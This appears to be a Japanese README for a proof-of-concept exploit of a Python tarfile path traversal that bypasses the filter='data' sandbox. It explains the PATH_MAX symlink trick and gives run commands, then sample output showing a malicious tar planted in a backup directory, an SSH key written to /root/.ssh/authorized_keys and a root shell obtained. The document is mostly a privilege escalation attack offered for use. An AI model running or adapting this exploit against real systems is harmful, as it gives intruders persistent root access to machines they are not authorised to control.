
Pythonの
tarfileモジュールにおけるパストラバーサル脆弱性で、バージョン3.8.0から3.13.1に影響します。安全でない展開を防ぐためのfilter="data"サンドボックスは、PATH_MAX(4096バイト)を超えるパスを作成することでバイパスでき、os.path.realpath()がシンボリックリンクの解決を静かに停止させます。セキュリティチェックは安全に見えるパスを認識しますが、カーネルは実際のパスを解決するため、展開ディレクトリの外への書き込みが可能になります。このPoCはこのバイパスを悪用し、SSH公開鍵を/root/.ssh/authorized_keysに書き込みます。
PATH_MAX を超えるシンボリックリンクパスを作り出す、深くネストしたディレクトリ(247文字の名前)を含む悪意のあるtarを作成します。filter="data" は各パスを検証するために os.path.realpath() を呼び出しますが、PATH_MAX に達すると解決を停止し、パスがまだステージングディレクトリ内にあると見なします。チェックは通過します。/root/.ssh/authorized_keys に到達します。ssh-keygen が利用可能であること(または -k で自分の公開鍵を指定すること)sudo 権限# Generate a new keypair automatically
python3 exploit.py
# Use an existing public key
python3 exploit.py -k ~/.ssh/id_ed25519.pub
例:
$ python3 exploit.py
[+] SSH keypair generated: /tmp/cve_2025_4517_key
[*] Creating exploit tar...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Extraction completed
[*] Verifying exploit via SSH...
[+] SUCCESS! SSH as root confirmed: uid=0(root) gid=0(root) groups=0(root)
============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] SSH into root with: ssh -i /tmp/cve_2025_4517_key root@localhost
============================================================
[?] Open root shell now? (y/n):